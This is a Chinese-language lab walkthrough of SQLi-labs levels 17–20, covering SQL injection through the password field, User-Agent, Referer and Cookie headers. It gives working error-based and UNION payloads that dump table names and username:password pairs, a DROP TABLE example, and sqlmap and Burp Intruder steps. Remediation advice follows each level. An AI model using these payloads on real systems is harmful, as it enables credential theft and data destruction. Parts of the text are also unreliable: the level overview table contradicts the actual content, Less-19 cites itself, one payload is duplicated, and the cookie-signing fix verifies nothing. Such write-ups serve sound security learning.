基于HTTP头部字段的SQL注入:SQLi-labs第17-20关
前置知识:HTTP头部介绍
HTTP(超文本传输协议)头部(Headers)是客户端和服务器在通信时传递的元数据,用于控制请求和响应的行为、传递附加信息或定义内容类型等。它们分为请求头(Request Headers)、响应头(Response Headers)和通用头(General Headers)。以下是常见 HTTP 头部及其作用的分类介绍:
一、通用头(General Headers)
适用于请求和响应的通用信息:
- Cache-Control
控制缓存机制,如 max-age=3600(缓存有效期)、no-cache(需验证缓存)等。 - Connection
管理连接行为,如 keep-alive(保持连接)或 close(关闭连接)。 - Date
消息生成的日期和时间,例如 Date: Wed, 21 Oct 2023 07:28:00 GMT。 - Transfer-Encoding
指定传输编码方式,如 chunked(分块传输)。
二、请求头(Request Headers)
客户端发送请求时携带的头部:
- Host
目标服务器的域名和端口(必需字段),例如 Host: example.com:8080。 - User-Agent
客户端标识(如浏览器类型、操作系统),例如 User-Agent: Mozilla/5.0 (Windows NT 10.0)。 - Accept
声明客户端可接收的内容类型,如 Accept: text/html, application/json。 - Authorization
身份验证凭证,例如 Bearer <token> 或 Basic <credentials>。 - Cookie
发送服务器设置的 Cookie,例如 Cookie: sessionId=abc123。 - Content-Type
请求体的数据类型(如 application/json、multipart/form-data)。 - Referer
当前请求的来源页面 URL。 - Accept-Encoding
支持的压缩算法(如 gzip、deflate)。
三、响应头(Response Headers)
服务器返回响应时携带的头部:
- Server
服务器软件信息,例如 Server: nginx/1.18.0。 - Content-Type
响应体的数据类型(如 text/html; charset=utf-8)。 - Content-Length
响应体的字节长度。 - Set-Cookie
向客户端设置 Cookie,例如 Set-Cookie: sessionId=abc123; Path=/; Secure。 - Location
重定向目标 URL(状态码为 3xx 时使用)。 - Cache-Control
控制客户端缓存,如 public, max-age=3600。 - ETag
资源版本标识符,用于缓存验证。 - Access-Control-Allow-Origin
允许跨域请求的源(CORS),如 * 或 Example Domain。
四、安全相关头部
- Strict-Transport-Security (HSTS)
强制使用 HTTPS,例如 max-age=31536000。 - Content-Security-Policy (CSP)
控制资源加载策略,防止 XSS 攻击。 - X-Content-Type-Options
阻止 MIME 类型嗅探,设为 nosniff。 - X-Frame-Options
防止点击劫持,如 DENY 或 SAMEORIGIN。 - X-XSS-Protection
启用浏览器 XSS 过滤(已逐渐被 CSP 取代)。
五、其他常用头部
- Accept-Language:客户端支持的语言(如 en-US, zh-CN)。
- Range 和 Content-Range:断点续传或分块下载。
- Upgrade:协议升级(如从 HTTP 升级到 WebSocket)。
六、工具与调试
- 使用浏览器开发者工具(按 F12)的 Network 标签查看请求/响应头。
- 命令行工具如 curl -v 可显示详细头部信息。
关卡 | SQL 注入类型 | 说明 |
17 | 关键字过滤绕过 | 过滤 SELECT、UNION、FROM,考察大小写混淆、编码绕过 |
18 | 关键字过滤绕过 | 过滤 space(空格),需用 /**/、%0a、() 等方式绕过 |
19 | 关键字过滤绕过 | 过滤 UNION,需用 U/**/nion、UnIoN 绕过 |
20 | 关键字过滤绕过 | 过滤 SELECT,可用 se/**/lect 或 extractvalue()、updatexml() 绕过 |
http://192.168.1.101/sqli-labs/Less-17/
1,是一个更改用户密码功能的页面
构造语句希望使网站回显报错信息
可以看到 admin"说明在对密码的处理过程中闭合方式是 双引号""
2,接下来利用盲注进行注入。这里首先爆出数据库名。
uname=admin&passwd=1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit
爆出数据库名为security,然后再爆数据库下数据表名
uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit
爆出数据表名,然后再爆users数据表下字段名
'or updatexml(1,concat("!",(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),2)#
最后再爆出用户名和密码
uname=admin&passwd=uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit#&submit=Submit
- OR:
- 这可能是用于绕过身份验证的 OR 1=1 逻辑注入方式,使得 SQL 语句始终返回 true。
- updatexml(1, concat('!', (...)), 1):
- updatexml() 是 MySQL 中的 XML 处理函数,通常用于修改 XML 文档的节点值。
- 但如果它的参数是错误的,它会返回错误信息,而这个错误信息可能包含攻击者注入的数据,从而实现信息泄露。
- concat('!', (...)):
- concat() 用于拼接字符串,这里是为了确保 updatexml 触发错误信息。
- (SELECT concat_ws(':', username, password) FROM (SELECT username, password FROM users) text LIMIT 0,1):
- SELECT username, password FROM users:从 users 表中获取 username 和 password。
- concat_ws(':', username, password):用 : 连接 username 和 password,使结果变成 user1:password1 这样的格式。
- LIMIT 0,1:仅取第一条记录,防止返回多个值导致 SQL 语法错误。
- #:
- # 是 MySQL 的注释符号,后面的 submit=submit 会被忽略,防止 SQL 语句出错。
通过limit 0,1的变化来实现对一个个用户名密码的筛出
然后可以通过burpsuite的Intruder模块进行用户名和密码的成对爆出
有效载荷给limit中的0设置为变量(LIMIT [偏移量], [行数]),字典选择从0开始的自然数
User-Agent头的SQL注入是一种利用HTTP请求头中的User-Agent字段进行攻击的手段,其核心原理与常规SQL注入相同:通过构造恶意输入,使后端数据库执行非预期的SQL代码。以下是详细分析及防御建议:
攻击原理
- 漏洞成因:
当应用程序未对User-Agent头进行过滤或转义,直接将其拼接到SQL查询语句中时,攻击者可构造包含SQL代码的User-Agent值,篡改原始查询逻辑。
示例:
假设服务端记录日志的SQL语句为:
INSERT INTO access_log (user_agent, ip) VALUES ('$user_agent', '$ip');
攻击者将User-Agent设置为:
'; DROP TABLE access_log; --
最终执行的SQL变为:
INSERT INTO access_log (user_agent, ip) VALUES (''; DROP TABLE access_log; --', '127.0.0.1');
这将导致access_log表被删除。 - 利用场景:
- 数据泄露(通过UNION注入提取敏感数据)。
- 数据库破坏(执行DROP、DELETE等操作)。
- 权限提升(利用数据库特性执行系统命令)。
检测方法
- 手工测试:
- 在User-Agent中插入特殊字符(如'、"、\),观察是否返回数据库错误(如MySQL、PostgreSQL的报错信息)。
- 尝试布尔型注入:
' OR 1=1 --
观察是否影响查询结果(如日志记录条件被绕过)。
- 自动化工具:
使用SQLMap等工具检测,指定--user-agent参数:
sqlmap -u Example Domain --headers "User-Agent: *" --level 3
http://192.168.99.74/sqli-labs/Less-18/
POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)
1,源代码对uname和passwd进行了 check_input()函数的处理,所以我们在输入uname和passwd上进行注入是不行的。而输入正确的admin/admin进行登录,网站就会回显IP Address和User Agent,那么就可以尝试进行post型http头部注入
2,推断 uname 和 passwd 字段都进行了强效的过滤,我们输入正确的uname和passwd之后再次注入。此时发现当注入单引号闭合时,网页返回报错信息。
User-Agent: '
3,通过错误信息或特定函数判断数据库名
' OR updatexml(1,concat("!",database()),2) OR '
然后再爆出所有的数据表名
' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '
然后再爆出所有的数据表的字段名
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '
最后爆出第一行的用户名和密码
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
抓包发送到Intruder模块,将LIMIT的偏移量设置为变量进行爆破
最后就能够爆出每一个用户名和密码
sql注入漏洞成因
- 未过滤的 User-Agent 输入
- 代码直接使用 $_SERVER['HTTP_USER_AGENT'] 获取客户端 User-Agent 值,未经过任何过滤或转义。
- 在插入数据库的SQL语句中,User-Agent 被直接拼接:
$insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; - $uagent 和 $IP 未经过 check_input 处理,直接嵌入SQL语句。
- 错误信息回显
- 代码中调用 print_r(mysqli_error($con1)),将数据库错误信息输出到页面,为攻击者提供报错注入的条件。
- 防御机制缺陷
- check_input 函数仅处理了 uname 和 passwd,未覆盖 User-Agent 和 IP。
- 对 User-Agent 的信任假设错误,未采用参数化查询。
攻击利用示例
- 构造恶意 User-Agent
设置 User-Agent 为以下值触发报错注入:
' OR updatexml(1, concat(0x7e, (SELECT database())), 1) --
- 最终SQL语句:
INSERT INTO uagents (uagent, ip_address, username) VALUES (
'' OR updatexml(1, concat(0x7e, (SELECT database())), 1) -- ',
'攻击者IP',
$uname
)
- 结果:数据库执行 updatexml 触发错误,回显当前数据库名(如 ~security)。
- 提取敏感数据
进一步利用可获取表名、字段名及数据:
' OR updatexml(1, concat(0x7e, (SELECT concat(username,':',password) FROM users LIMIT 0,1)), 1) --
修复建议
- 参数化查询
使用预处理语句替代字符串拼接,确保所有输入均参数化:
$stmt = $con1->prepare("INSERT INTO security.uagents (uagent, ip_address, username) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $uagent, $IP, $uname);
$stmt->execute(); - 输入过滤与转义
对所有输入(包括HTTP头)进行过滤:
$uagent = mysqli_real_escape_string($con1, $_SERVER['HTTP_USER_AGENT']);
$IP = mysqli_real_escape_string($con1, $_SERVER['REMOTE_ADDR']); - 禁用详细错误回显
生产环境中关闭错误信息输出:
mysqli_report(MYSQLI_REPORT_OFF); // 关闭MySQLi错误显示
error_reporting(0); // 关闭PHP错误报告 - 最小化数据库权限
确保数据库账户仅拥有必要权限(如禁止执行SELECT、UPDATE等敏感操作)。
Less-19 http://127.0.0.1/sqli-labs/Less-19/
抓一个请求包观察请求报文结构
根据请求特征和题目提示,推断为referer型sql注入,使用单引号测试一下
使用两个单引号就不报错了,说明前面后面的两个单引号分别完成了一个闭合,我们的sql攻击语句写在引号之间就行
' OR updatexml(1,concat("!",database()),2) OR '
然后再爆出所有的数据表名
' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '
然后再爆出所有的数据表的字段名
' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '
最后爆出第一行的用户名和密码
' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
结合burpsuite的Intruder模块爆破出所有账户密码的操作同Less-19
Referer 头 SQL 注入漏洞的详细分析
漏洞成因
- 未过滤的 Referer 头输入
- 代码直接使用 $_SERVER['HTTP_REFERER'] 获取请求的 Referer 值,未经过任何过滤或转义。
- 在插入数据库的 SQL 语句中,Referer 值被直接拼接:
$insert = "INSERT INTO security.referers (referer, ip_address) VALUES ('$uagent', '$IP')"; - $uagent(即 Referer 值)未调用 check_input 函数处理,直接嵌入 SQL 语句。
- 错误信息回显
- 代码中调用 print_r(mysqli_error($con1)),将数据库错误信息输出到页面,为攻击者提供 报错注入 的条件。
- 防御机制缺失
- check_input 函数仅处理了 uname 和 passwd 参数,未覆盖 Referer 头。
- 未使用参数化查询或预处理语句。
攻击利用步骤
Step 1:验证注入点
- 构造恶意 Referer 头
使用工具(如 Burp Suite)修改 HTTP 请求的 Referer 头为:
' OR sleep(5) --
目标:验证是否存在注入漏洞。若页面响应延迟 5 秒,则确认漏洞存在。 - 触发报错注入
修改 Referer 头为:
' AND updatexml(1, concat(0x7e, version()), 1) --
预期结果:页面返回数据库版本错误信息(如 XPATH syntax error: '~8.0.30')。
Step 2:提取敏感数据
- 获取当前数据库名
' AND updatexml(1, concat(0x7e, database()), 1) --
结果:报错信息中显示数据库名(如 ~security)。 - 列出所有数据库名
' AND updatexml(1, concat(0x7e, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1)), 1) --
操作:调整 LIMIT 参数遍历所有数据库。 - 获取表名
' AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1)), 1) --
结果:返回目标数据库的第一个表名(如 ~users)。 - 提取字段名
' AND updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 1) --
结果:返回字段名(如 ~username)。 - 读取数据
' AND updatexml(1, concat(0x7e, (SELECT concat(username, ':', password) FROM users LIMIT 0,1)), 1) --
结果:返回用户名和密码(如 ~admin:5f4dcc3b5aa765d61d83)。
漏洞代码段
// 直接使用未过滤的 Referer 头
$uagent = $_SERVER['HTTP_REFERER'];
// 直接拼接 SQL 语句
$insert = "INSERT INTO security.referers (referer, ip_address) VALUES ('$uagent', '$IP')";
Less-20 http://127.0.0.1/sqli-labs/Less-20/
1,先抓一个请求包看看(注意先使用admin/admin登录成功,然后刷新发送一个GET请求包)
2,推测是cookie型sql注入,使用单引号测试看看
存在sql注入,然后判断数据表存在多少列
' #
' order by 3#
' order by 4#
所以推断数据表存在3列,接下来爆出数据库名
' union select 1,2,database()#
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
' union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users #
成功爆出数据库所有的账户和密码
基于Cookie字段的SQL注入漏洞
漏洞成因
- 未过滤的 Cookie 输入
- 代码直接从 $_COOKIE['uname'] 获取用户输入,未经过任何过滤或转义:
$cookee = $_COOKIE['uname'];
$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
- 攻击者可通过篡改 Cookie 中的 uname 值注入恶意 SQL 代码。
- 信任客户端输入
- 假设 Cookie 中的 uname 是安全的,未进行二次验证或过滤(仅在首次登录时调用 check_input 处理 POST 参数,后续请求直接信任 Cookie)。
- 错误信息回显
- 代码中调用 print_r(mysqli_error($con1)) 输出数据库错误,为攻击者提供 报错注入 的利用条件。
攻击示例
- 篡改 Cookie 触发注入
通过工具(如 Burp Suite)修改 uname Cookie 值为:
' OR 1=1 --
最终 SQL 语句:
SELECT * FROM users WHERE username='' OR 1=1 -- ' LIMIT 0,1
- 绕过身份验证,返回第一个用户数据。
- 报错注入提取数据
设置 uname 为:
' AND updatexml(1, concat(0x7e, (SELECT database()), 1) --
结果:触发错误并返回数据库名(如 ~security)。
漏洞代码段
// 直接读取未过滤的 Cookie
$cookee = $_COOKIE['uname'];
// 直接拼接 SQL 语句
$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
修复建议
- 参数化查询
使用预处理语句替代字符串拼接:
$stmt = $con1->prepare("SELECT * FROM users WHERE username=? LIMIT 0,1");
$stmt->bind_param("s", $cookee);
$stmt->execute(); - 过滤所有输入
对 Cookie 值进行转义和验证:
$cookee = mysqli_real_escape_string($con1, $_COOKIE['uname']); - 禁用详细错误回显
生产环境中关闭错误信息输出:
mysqli_report(MYSQLI_REPORT_OFF);
error_reporting(0); - 签名 Cookie
对 Cookie 值进行加密签名,防止篡改:
$secret_key = "YOUR_SECRET_KEY";
$cookee = hash_hmac('sha256', $_COOKIE['uname'], $secret_key);
总结
漏洞核心在于直接信任并拼接 Cookie 值到 SQL 语句中,且未正确处理错误信息。攻击者可通过篡改 Cookie 实施注入攻击。修复需强制使用 参数化查询 并对所有输入(包括 Cookie)进行严格过滤。